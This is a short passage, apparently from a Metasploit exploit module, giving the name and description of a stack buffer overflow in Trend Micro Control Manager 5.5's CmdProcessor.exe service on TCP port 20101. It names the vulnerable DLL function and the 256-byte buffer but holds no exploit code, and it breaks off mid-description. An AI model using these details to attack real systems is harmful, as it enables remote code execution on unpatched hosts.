'Name' => "TrendMicro Control Manger <= v5.5 CmdProcessor.exe Stack Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability in the CmdProcessor.exe component of Trend
Micro Control Manger up to version 5.5.
The specific flaw exists within CmdProcessor.exe service running on TCP port
20101. The vulnerable function is the CGenericScheduler::AddTask function of
cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet,
controlled data is copied into a 256-byte stack buffer. This can be exploited
to execute remote code under the context of the user.
